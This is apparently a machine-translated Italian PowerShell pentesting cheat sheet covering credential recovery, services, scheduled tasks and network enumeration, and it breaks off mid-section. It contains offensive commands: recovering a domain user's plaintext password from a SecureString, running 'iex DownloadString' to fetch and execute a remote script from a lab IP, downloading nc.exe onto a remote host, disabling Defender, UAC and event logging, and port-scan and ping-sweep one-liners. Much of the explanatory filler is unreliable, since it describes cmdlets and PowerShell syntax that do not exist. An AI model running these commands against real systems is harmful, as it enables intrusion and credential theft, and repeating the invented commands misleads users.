$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

O direttamente analizzando il modulo XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO è un comando utilizzato nei sistemi operativi Unix-like per consentire agli utenti di eseguire comandi con i privilegi di un altro utente, di solito l'utente root. Questo può essere utile per gli amministratori di sistema che desiderano delegare temporaneamente i privilegi di amministrazione a un utente senza dover condividere la password dell'account root.

Per utilizzare SUDO, è necessario essere un utente autorizzato e avere i permessi necessari per eseguire il comando desiderato. Per eseguire un comando con SUDO, è sufficiente digitare "sudo" seguito dal comando desiderato. Ad esempio, per eseguire il comando "apt-get update" con i privilegi di root, è possibile digitare:

sudo apt-get update

Verrà richiesta la password dell'utente corrente e, se corretta, il comando verrà eseguito con i privilegi di root.

È importante utilizzare SUDO con cautela e solo quando necessario, in quanto l'esecuzione di comandi con privilegi di amministrazione può comportare rischi per la sicurezza del sistema. Inoltre, è consigliabile limitare l'accesso SUDO solo agli utenti autorizzati e monitorare attentamente l'utilizzo di SUDO per rilevare eventuali abusi o attività sospette.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Gruppi


Introduction

In Windows, groups are used to organize and manage user accounts. They provide a way to assign permissions and access rights to multiple users at once. This section will cover the basics of working with groups in PowerShell.

List Groups

To list all the groups on a Windows system, you can use the Get-LocalGroup cmdlet. This will display a list of all the local groups on the machine.

Get-LocalGroup

Create a Group

To create a new group, you can use the New-LocalGroup cmdlet. Specify the name of the group using the -Name parameter.

New-LocalGroup -Name "MyGroup"

Add Members to a Group

To add members to a group, you can use the Add-LocalGroupMember cmdlet. Specify the group name using the -Group parameter, and the user name using the -Member parameter.

Add-LocalGroupMember -Group "MyGroup" -Member "User1"

Remove Members from a Group

To remove members from a group, you can use the Remove-LocalGroupMember cmdlet. Specify the group name using the -Group parameter, and the user name using the -Member parameter.

Remove-LocalGroupMember -Group "MyGroup" -Member "User1"

Delete a Group

To delete a group, you can use the Remove-LocalGroup cmdlet. Specify the group name using the -Name parameter.

Remove-LocalGroup -Name "MyGroup"

Conclusion

Groups are an important part of managing user accounts and permissions in Windows. PowerShell provides a convenient way to work with groups, allowing you to create, modify, and delete groups as needed.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Appunti

I dati copiati negli appunti del sistema operativo possono essere un obiettivo interessante per un attaccante. Questi dati possono includere informazioni sensibili come password, indirizzi email o numeri di carta di credito. Inoltre, gli appunti possono essere utilizzati per trasferire dati tra applicazioni o per semplificare il processo di copia e incolla.

Rilevamento degli appunti

Per rilevare i dati presenti negli appunti, è possibile utilizzare il modulo Clipboard di PowerShell. Questo modulo fornisce una serie di comandi per interagire con gli appunti del sistema operativo.

# Ottieni il contenuto degli appunti
Get-Clipboard

# Imposta il contenuto degli appunti
Set-Clipboard -Text "Testo da copiare negli appunti"

# Aggiungi il contenuto agli appunti
Add-Clipboard -Text "Testo da aggiungere agli appunti"

Utilizzo degli appunti per l'attacco

Gli appunti possono essere utilizzati in diversi scenari di attacco. Ad esempio, un attaccante potrebbe sfruttare una vulnerabilità in un'applicazione per copiare dati sensibili negli appunti e quindi recuperarli successivamente. Inoltre, gli appunti possono essere utilizzati per eseguire attacchi di phishing, copiando un URL dannoso negli appunti e inducendo l'utente a incollarlo nel browser.

Protezione degli appunti

Per proteggere i dati sensibili negli appunti, è consigliabile adottare le seguenti misure:

  • Evitare di copiare dati sensibili negli appunti, se possibile.

  • Assicurarsi di svuotare gli appunti dopo averli utilizzati.

  • Utilizzare strumenti di sicurezza che monitorano e bloccano l'accesso non autorizzato agli appunti.

  • Mantenere il sistema operativo e le applicazioni sempre aggiornati per ridurre il rischio di vulnerabilità che potrebbero essere sfruttate per accedere agli appunti.

Get-Clipboard

Processi

A process is an instance of a program that is being executed by the operating system. In Windows, processes can be managed and controlled using PowerShell. Here are some basic PowerShell commands for working with processes:

Get-Process

The Get-Process command is used to retrieve information about running processes. It provides details such as the process ID (PID), name, CPU usage, and memory usage. Here is an example of how to use this command:

Get-Process

Start-Process

The Start-Process command is used to launch a new process. It can be used to open applications, run scripts, or execute commands. Here is an example of how to use this command:

Start-Process -FilePath "C:\Program Files\Internet Explorer\iexplore.exe"

Stop-Process

The Stop-Process command is used to terminate a running process. It requires the process ID (PID) as input. Here is an example of how to use this command:

Stop-Process -ID 1234

Wait-Process

The Wait-Process command is used to wait for a process to exit before continuing with the script. It requires the process ID (PID) as input. Here is an example of how to use this command:

Wait-Process -ID 1234

Invoke-Command

The Invoke-Command command is used to run commands on remote computers. It can be used to manage processes on remote machines. Here is an example of how to use this command:

Invoke-Command -ComputerName "RemoteComputer" -ScriptBlock { Get-Process }

These are just a few basic PowerShell commands for working with processes. PowerShell provides many more commands and options for managing and controlling processes in Windows.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Servizi


PowerShell Remoting

Enable PowerShell Remoting

Per abilitare il PowerShell Remoting su una macchina Windows, eseguire il seguente comando:

Enable-PSRemoting -Force

Disable PowerShell Remoting

Per disabilitare il PowerShell Remoting su una macchina Windows, eseguire il seguente comando:

Disable-PSRemoting -Force

Test PowerShell Remoting

Per testare se il PowerShell Remoting è abilitato su una macchina Windows, eseguire il seguente comando:

Test-WSMan

Windows Remote Management (WinRM)

Enable WinRM

Per abilitare il Windows Remote Management (WinRM) su una macchina Windows, eseguire il seguente comando:

winrm quickconfig

Disable WinRM

Per disabilitare il Windows Remote Management (WinRM) su una macchina Windows, eseguire il seguente comando:

winrm quickconfig -undo

Test WinRM

Per testare se il Windows Remote Management (WinRM) è abilitato su una macchina Windows, eseguire il seguente comando:

Test-WSMan

Windows Management Instrumentation (WMI)

Enable WMI

Per abilitare il Windows Management Instrumentation (WMI) su una macchina Windows, eseguire il seguente comando:

Enable-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity" -EnableAllPrivileges

Disable WMI

Per disabilitare il Windows Management Instrumentation (WMI) su una macchina Windows, eseguire il seguente comando:

Disable-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity"

Test WMI

Per testare se il Windows Management Instrumentation (WMI) è abilitato su una macchina Windows, eseguire il seguente comando:

Get-WmiObject -Namespace "root\cimv2" -Class "__SystemSecurity"

Remote Registry

Enable Remote Registry

Per abilitare il Remote Registry su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "RemoteRegistry" -StartupType Automatic

Disable Remote Registry

Per disabilitare il Remote Registry su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "RemoteRegistry" -StartupType Disabled

Test Remote Registry

Per testare se il Remote Registry è abilitato su una macchina Windows, eseguire il seguente comando:

Get-Service -Name "RemoteRegistry"

Windows Firewall

Enable Windows Firewall

Per abilitare il Windows Firewall su una macchina Windows, eseguire il seguente comando:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

Disable Windows Firewall

Per disabilitare il Windows Firewall su una macchina Windows, eseguire il seguente comando:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Test Windows Firewall

Per testare se il Windows Firewall è abilitato su una macchina Windows, eseguire il seguente comando:

Get-NetFirewallProfile

User Account Control (UAC)

Disable UAC

Per disabilitare l'User Account Control (UAC) su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0

Enable UAC

Per abilitare l'User Account Control (UAC) su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1

Test UAC

Per testare se l'User Account Control (UAC) è abilitato su una macchina Windows, eseguire il seguente comando:

Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA"

Windows Defender

Disable Windows Defender

Per disabilitare il Windows Defender su una macchina Windows, eseguire il seguente comando:

Set-MpPreference -DisableRealtimeMonitoring $true

Enable Windows Defender

Per abilitare il Windows Defender su una macchina Windows, eseguire il seguente comando:

Set-MpPreference -DisableRealtimeMonitoring $false

Test Windows Defender

Per testare se il Windows Defender è abilitato su una macchina Windows, eseguire il seguente comando:

Get-MpPreference | Select-Object -Property DisableRealtimeMonitoring

Windows Update

Disable Windows Update

Per disabilitare il Windows Update su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "wuauserv" -StartupType Disabled

Enable Windows Update

Per abilitare il Windows Update su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "wuauserv" -StartupType Automatic

Test Windows Update

Per testare se il Windows Update è abilitato su una macchina Windows, eseguire il seguente comando:

Get-Service -Name "wuauserv"

Windows Event Log

Disable Windows Event Log

Per disabilitare il Windows Event Log su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "EventLog" -StartupType Disabled

Enable Windows Event Log

Per abilitare il Windows Event Log su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "EventLog" -StartupType Automatic

Test Windows Event Log

Per testare se il Windows Event Log è abilitato su una macchina Windows, eseguire il seguente comando:

Get-Service -Name "EventLog"

Windows Services

Disable a Service

Per disabilitare un servizio su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "NomeServizio" -StartupType Disabled

Enable a Service

Per abilitare un servizio su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "NomeServizio" -StartupType Automatic

Test a Service

Per testare se un servizio è abilitato su una macchina Windows, eseguire il seguente comando:

Get-Service -Name "NomeServizio"

Windows Scheduled Tasks

Disable a Scheduled Task

Per disabilitare un'attività pianificata su una macchina Windows, eseguire il seguente comando:

Disable-ScheduledTask -TaskName "NomeAttività"

Enable a Scheduled Task

Per abilitare un'attività pianificata su una macchina Windows, eseguire il seguente comando:

Enable-ScheduledTask -TaskName "NomeAttività"

Test a Scheduled Task

Per testare se un'attività pianificata è abilitata su una macchina Windows, eseguire il seguente comando:

Get-ScheduledTask -TaskName "NomeAttività"

Windows Startup Programs

Disable a Startup Program

Per disabilitare un programma di avvio su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma" -Value ""

Enable a Startup Program

Per abilitare un programma di avvio su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma" -Value "PercorsoProgramma"

Test a Startup Program

Per testare se un programma di avvio è abilitato su una macchina Windows, eseguire il seguente comando:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "NomeProgramma"

Windows User Accounts

Disable a User Account

Per disabilitare un account utente su una macchina Windows, eseguire il seguente comando:

Disable-LocalUser -Name "NomeUtente"

Enable a User Account

Per abilitare un account utente su una macchina Windows, eseguire il seguente comando:

Enable-LocalUser -Name "NomeUtente"

Test a User Account

Per testare se un account utente è abilitato su una macchina Windows, eseguire il seguente comando:

Get-LocalUser -Name "NomeUtente"

Windows Group Accounts

Disable a Group Account

Per disabilitare un account di gruppo su una macchina Windows, eseguire il seguente comando:

Disable-LocalGroup -Name "NomeGruppo"

Enable a Group Account

Per abilitare un account di gruppo su una macchina Windows, eseguire il seguente comando:

Enable-LocalGroup -Name "NomeGruppo"

Test a Group Account

Per testare se un account di gruppo è abilitato su una macchina Windows, eseguire il seguente comando:

Get-LocalGroup -Name "NomeGruppo"

Windows File Permissions

Disable Inheritance

Per disabilitare l'ereditarietà delle autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:

icacls "PercorsoFile" /inheritance:d

Enable Inheritance

Per abilitare l'ereditarietà delle autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:

icacls "PercorsoFile" /inheritance:e

Test File Permissions

Per testare le autorizzazioni di un file o una cartella su una macchina Windows, eseguire il seguente comando:

icacls "PercorsoFile"

Windows Registry Permissions

Disable Registry Key Permissions

Per disabilitare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:

Set-Acl -Path "HKLM:\Path\To\Registry\Key" -AclObject $null

Enable Registry Key Permissions

Per abilitare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:

Set-Acl -Path "HKLM:\Path\To\Registry\Key" -AclObject (Get-Acl -Path "HKLM:\Path\To\Registry\Key")

Test Registry Key Permissions

Per testare le autorizzazioni di una chiave di registro su una macchina Windows, eseguire il seguente comando:

Get-Acl -Path "HKLM:\Path\To\Registry\Key"

Windows Group Policy

Disable Group Policy

Per disabilitare una Group Policy su una macchina Windows, eseguire il seguente comando:

Set-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore" -Type "String" -Value ""

Enable Group Policy

Per abilitare una Group Policy su una macchina Windows, eseguire il seguente comando:

Set-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore" -Type "String" -Value "Valore"

Test Group Policy

Per testare se una Group Policy è abilitata su una macchina Windows, eseguire il seguente comando:

Get-GPRegistryValue -Name "NomePolicy" -Key "HKLM\Path\To\Registry\Key" -ValueName "NomeValore"

Windows Audit Policies

Disable Audit Policy

Per disabilitare una Audit Policy su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy" -Value 0

Enable Audit Policy

Per abilitare una Audit Policy su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy" -Value 1

Test Audit Policy

Per testare se una Audit Policy è abilitata su una macchina Windows, eseguire il seguente comando:

Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\Audit" -Name "NomePolicy"

Windows Security Options

Disable Security Option

Per disabilitare una Security Option su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione" -Value 0

Enable Security Option

Per abilitare una Security Option su una macchina Windows, eseguire il seguente comando:

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione" -Value 1

Test Security Option

Per testare se una Security Option è abilitata su una macchina Windows, eseguire il seguente comando:

Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "NomeOpzione"

Windows AppLocker

Disable AppLocker

Per disabilitare l'AppLocker su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "AppIDSvc" -StartupType Disabled

Enable AppLocker

Per abilitare l'AppLocker su una macchina Windows, eseguire il seguente comando:

Set-Service -Name "AppIDSvc" -StartupType Automatic

Test AppLocker

Per testare se l'AppLocker è abilitato su una macchina Windows, eseguire il seguente comando:

Get-Service -Name "AppIDSvc"

Windows BitLocker

Disable BitLocker

Per disabilitare il BitLocker su una macchina Windows, eseguire il seguente comando:

Disable-BitLocker -MountPoint "PercorsoUnità"

Enable BitLocker

Per abilitare il BitLocker su una macchina Windows, eseguire il seguente comando:

Enable-BitLocker -MountPoint "PercorsoUnità" -EncryptionMethod "AES256" -UsedSpaceOnly

Test BitLocker

Per testare se il BitLocker è abilitato su una macchina Windows, eseguire il seguente comando:

Get-BitLockerVolume -MountPoint "PercorsoUnità"

Windows Credential Guard

Disable Credential Guard

Per disabilitare il Credential Guard su una macchina Windows, eseguire il seguente comando:

Disable-CredentialGuard

Enable Credential Guard

Per abilitare il Credential Guard su una macchina Windows, eseguire il seguente comando:

Enable-CredentialGuard

Test Credential Guard

Per testare se il Credential Guard è abilitato su una macchina Windows, eseguire il seguente comando:

Get-CredentialGuard

Windows Device Guard

Disable Device Guard

Per disabilitare il Device Guard su una macchina Windows, eseguire il seguente comando:

Disable-DeviceGuard

Enable Device Guard

Per abilitare il Device Guard su una macchina Windows, eseguire il seguente comando:

Enable-DeviceGuard

Test Device Guard

Per testare se il Device Guard è abilitato su una macchina Windows, eseguire il seguente comando:

Get-DeviceGuard

Windows Exploit Guard

Disable Exploit Guard

Per disabilitare l'Exploit Guard su una macchina Windows, eseguire il seguente comando:

Disable-ExploitGuard

Enable Exploit Guard

Per abilitare l'Exploit Guard su una macchina Windows, eseguire il seguente comando:

Enable-ExploitGuard

Test Exploit Guard

Per testare se l'Exploit Guard è abilitato su una macchina Windows, eseguire il seguente comando:

Get-ExploitGuard

Windows Firewall with Advanced Security

Disable Windows Firewall with Advanced

Get-Service

Password da secure string

Sometimes, during a penetration test, you may come across a situation where you need to retrieve a password stored as a secure string in PowerShell. A secure string is a way to store sensitive information, such as passwords, in an encrypted format.

To retrieve the password from a secure string, you can use the following PowerShell code:

$secureString = ConvertTo-SecureString -String "encrypted_password" -AsPlainText -Force
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

In the code above, replace "encrypted_password" with the actual secure string you want to decrypt. After executing the code, the variable $plainTextPassword will contain the decrypted password.

Keep in mind that this technique should only be used for legitimate purposes, such as during a penetration test or when authorized to access the system.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Attività pianificate

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or events. As a pentester, understanding how to manipulate and exploit scheduled tasks can be extremely valuable.

Le attività pianificate sono una potente funzionalità di Windows che ti permette di automatizzare l'esecuzione di script o programmi in momenti o eventi specifici. Come pentester, comprendere come manipolare ed sfruttare le attività pianificate può essere estremamente vantaggioso.

Viewing Scheduled Tasks

Visualizzazione delle attività pianificate

To view the list of scheduled tasks on a Windows system, you can use the schtasks command in PowerShell. This command allows you to list, create, modify, and delete scheduled tasks.

Per visualizzare l'elenco delle attività pianificate su un sistema Windows, puoi utilizzare il comando schtasks in PowerShell. Questo comando ti permette di elencare, creare, modificare ed eliminare le attività pianificate.

schtasks /query /fo LIST /v

Creating a Scheduled Task

Creazione di un'attività pianificata

To create a new scheduled task, you can use the schtasks command with the /create option. You will need to specify the task name, the program or script to be executed, and the schedule for the task.

Per creare una nuova attività pianificata, puoi utilizzare il comando schtasks con l'opzione /create. Dovrai specificare il nome dell'attività, il programma o lo script da eseguire e l'orario per l'attività.

schtasks /create /tn TaskName /tr "C:\Path\to\program.exe" /sc DAILY /st 12:00

Modifying a Scheduled Task

Modifica di un'attività pianificata

To modify an existing scheduled task, you can use the schtasks command with the /change option. You will need to specify the task name and the new settings for the task.

Per modificare un'attività pianificata esistente, puoi utilizzare il comando schtasks con l'opzione /change. Dovrai specificare il nome dell'attività e le nuove impostazioni per l'attività.

schtasks /change /tn TaskName /tr "C:\Path\to\newprogram.exe" /sc WEEKLY /d MON

Deleting a Scheduled Task

Eliminazione di un'attività pianificata

To delete a scheduled task, you can use the schtasks command with the /delete option. You will need to specify the task name.

Per eliminare un'attività pianificata, puoi utilizzare il comando schtasks con l'opzione /delete. Dovrai specificare il nome dell'attività.

schtasks /delete /tn TaskName

Disabling a Scheduled Task

Disabilitazione di un'attività pianificata

To disable a scheduled task without deleting it, you can use the schtasks command with the /change option and set the /disable flag to yes. You will need to specify the task name.

Per disabilitare un'attività pianificata senza eliminarla, puoi utilizzare il comando schtasks con l'opzione /change e impostare il flag /disable su yes. Dovrai specificare il nome dell'attività.

schtasks /change /tn TaskName /disable yes

Enabling a Scheduled Task

Abilitazione di un'attività pianificata

To enable a disabled scheduled task, you can use the schtasks command with the /change option and set the /disable flag to no. You will need to specify the task name.

Per abilitare un'attività pianificata disabilitata, puoi utilizzare il comando schtasks con l'opzione /change e impostare il flag /disable su no. Dovrai specificare il nome dell'attività.

schtasks /change /tn TaskName /disable no

Summary

Scheduled tasks are a useful feature in Windows that can be leveraged by pentesters to automate the execution of scripts or programs. By understanding how to view, create, modify, and delete scheduled tasks, you can effectively manipulate and exploit this feature during your pentesting engagements.

Le attività pianificate sono una funzionalità utile in Windows che può essere sfruttata dai pentester per automatizzare l'esecuzione di script o programmi. Comprendendo come visualizzare, creare, modificare ed eliminare le attività pianificate, puoi manipolare ed sfruttare efficacemente questa funzionalità durante i tuoi incarichi di pentesting.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Rete

Scansione delle porte

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Interfacce

Le interfacce in PowerShell sono oggetti che definiscono un contratto per le classi che le implementano. Un'interfaccia specifica quali metodi, proprietà e eventi devono essere presenti nella classe che la implementa.

Le interfacce possono essere utilizzate per definire un set di comportamenti comuni che possono essere condivisi tra diverse classi. Ciò consente di creare un codice più modulare e riutilizzabile.

Per dichiarare un'interfaccia in PowerShell, è possibile utilizzare la parola chiave interface. Ad esempio:

interface IExampleInterface {
    [string] ExampleMethod()
    [int] ExampleProperty {get;set;}
    event ExampleEvent
}

Per implementare un'interfaccia in una classe, è necessario utilizzare la parola chiave implements. Ad esempio:

class ExampleClass : IExampleInterface {
    [string] ExampleMethod() {
        # Implementazione del metodo
    }

    [int] ExampleProperty {get;set;}

    event ExampleEvent {
        # Implementazione dell'evento
    }
}

Le interfacce possono essere utilizzate per definire contratti comuni tra le classi e consentire la creazione di codice più modulare e riutilizzabile.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Un firewall è un componente essenziale per la sicurezza di un sistema operativo Windows. Esso funge da barriera tra la rete interna e quella esterna, controllando il traffico di rete in entrata e in uscita. Il firewall può essere configurato per consentire o bloccare specifici tipi di traffico, in base alle regole definite.

Configurazione del firewall

La configurazione del firewall può essere effettuata tramite PowerShell utilizzando il modulo NetSecurity. Di seguito sono riportati alcuni comandi utili per la configurazione del firewall:

  • Visualizzare le regole del firewall: Get-NetFirewallRule

  • Creare una nuova regola: New-NetFirewallRule

  • Modificare una regola esistente: Set-NetFirewallRule

  • Eliminare una regola: Remove-NetFirewallRule

Esempi di utilizzo

Visualizzare le regole del firewall

Get-NetFirewallRule

Creare una nuova regola

New-NetFirewallRule -DisplayName "Regola personalizzata" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080

Modificare una regola esistente

Set-NetFirewallRule -DisplayName "Regola personalizzata" -Action Block

Eliminare una regola

Remove-NetFirewallRule -DisplayName "Regola personalizzata"

È importante comprendere le impostazioni di configurazione del firewall e utilizzare le regole appropriate per proteggere il sistema operativo Windows da potenziali minacce esterne.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Percorso

Il comando route in PowerShell viene utilizzato per visualizzare e manipolare la tabella di routing del sistema operativo Windows. La tabella di routing contiene le informazioni necessarie per instradare il traffico di rete tra diverse reti.

Sintassi

route [-f] [-p] [-4|-6] [comando [destinazione] [mask subnet] [gateway] [metrica]]

Parametri

  • -f: Forza l'eliminazione di tutte le voci nella tabella di routing e quindi ricarica le voci di routing predefinite.

  • -p: Rende persistente la modifica apportata alla tabella di routing. In questo modo, le modifiche sopravvivono anche dopo il riavvio del sistema.

  • -4: Specifica che il comando deve essere eseguito solo per le voci IPv4 nella tabella di routing.

  • -6: Specifica che il comando deve essere eseguito solo per le voci IPv6 nella tabella di routing.

Esempi

  1. Visualizza la tabella di routing:

route print
  1. Aggiungi una nuova voce alla tabella di routing:

route add 192.168.1.0 mask 255.255.255.0 192.168.0.1
  1. Elimina una voce dalla tabella di routing:

route delete 192.168.1.0
  1. Modifica una voce esistente nella tabella di routing:

route change 192.168.1.0 mask 255.255.255.0 192.168.0.2
  1. Forza l'eliminazione di tutte le voci nella tabella di routing e ricarica le voci di routing predefinite:

route -f
  1. Rende persistente una modifica alla tabella di routing:

route -p add 192.168.1.0 mask 255.255.255.0 192.168.0.1
route print

ARP

L'Address Resolution Protocol (ARP) è un protocollo di rete utilizzato per associare un indirizzo IP a un indirizzo MAC all'interno di una rete locale. Questo protocollo è essenziale per il funzionamento delle reti Ethernet, in quanto consente ai dispositivi di comunicare tra loro utilizzando gli indirizzi MAC.

L'ARP funziona inviando richieste di ARP broadcast all'interno della rete locale, chiedendo quale dispositivo possiede un determinato indirizzo IP. Il dispositivo con l'indirizzo IP richiesto risponderà con il proprio indirizzo MAC, consentendo così al mittente di inviare pacchetti direttamente a quel dispositivo.

Tuttavia, l'ARP può essere sfruttato da hacker malevoli per condurre attacchi di spoofing, in cui un dispositivo si finge un altro dispositivo all'interno della rete. Questo può consentire all'attaccante di intercettare o manipolare il traffico di rete.

Per proteggere una rete da attacchi ARP, è possibile implementare misure di sicurezza come l'ARP spoofing detection e la configurazione di tabelle ARP statiche. Inoltre, è importante mantenere il software di rete aggiornato per mitigare le vulnerabilità note.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Gli host sono file di configurazione utilizzati dal sistema operativo Windows per mappare gli indirizzi IP a nomi di dominio. Questo file può essere utilizzato per bloccare o reindirizzare determinati siti web. Di seguito sono riportati alcuni punti da tenere in considerazione riguardo al file degli host:

  • Il percorso predefinito del file degli host è C:\Windows\System32\drivers\etc\hosts.

  • Il file degli host può essere modificato utilizzando un editor di testo come Notepad o Notepad++.

  • Per apportare modifiche al file degli host, è necessario disporre di privilegi di amministratore.

  • È possibile bloccare un sito web aggiungendo una riga nel file degli host che mappa l'indirizzo IP del sito web a 127.0.0.1.

  • È possibile reindirizzare un sito web aggiungendo una riga nel file degli host che mappa l'indirizzo IP del sito web a un altro indirizzo IP desiderato.

  • È possibile commentare una riga nel file degli host aggiungendo il simbolo # all'inizio della riga.

  • È possibile creare alias per gli indirizzi IP aggiungendo una riga nel file degli host che mappa un nome di dominio a un indirizzo IP specifico.

È importante notare che le modifiche apportate al file degli host avranno effetto solo sul computer locale e non influenzeranno altri dispositivi nella rete.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Il comando ping viene utilizzato per verificare la connettività di rete tra un host locale e un host remoto. Invia pacchetti ICMP Echo Request all'host di destinazione e attende una risposta ICMP Echo Reply. Questo comando è utile per diagnosticare problemi di rete, verificare la disponibilità di un host e misurare la latenza di rete.

Esempio di utilizzo:

ping <indirizzo IP o nome host>

Il comando ping invierà pacchetti ICMP Echo Request all'indirizzo IP o al nome host specificato e visualizzerà le risposte ricevute.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) è un protocollo di gestione di rete utilizzato per monitorare e gestire dispositivi di rete come router, switch e server. SNMP consente ai dispositivi di inviare informazioni di gestione a un sistema di gestione di rete centrale, noto come NMS (Network Management System).

Funzionamento di SNMP

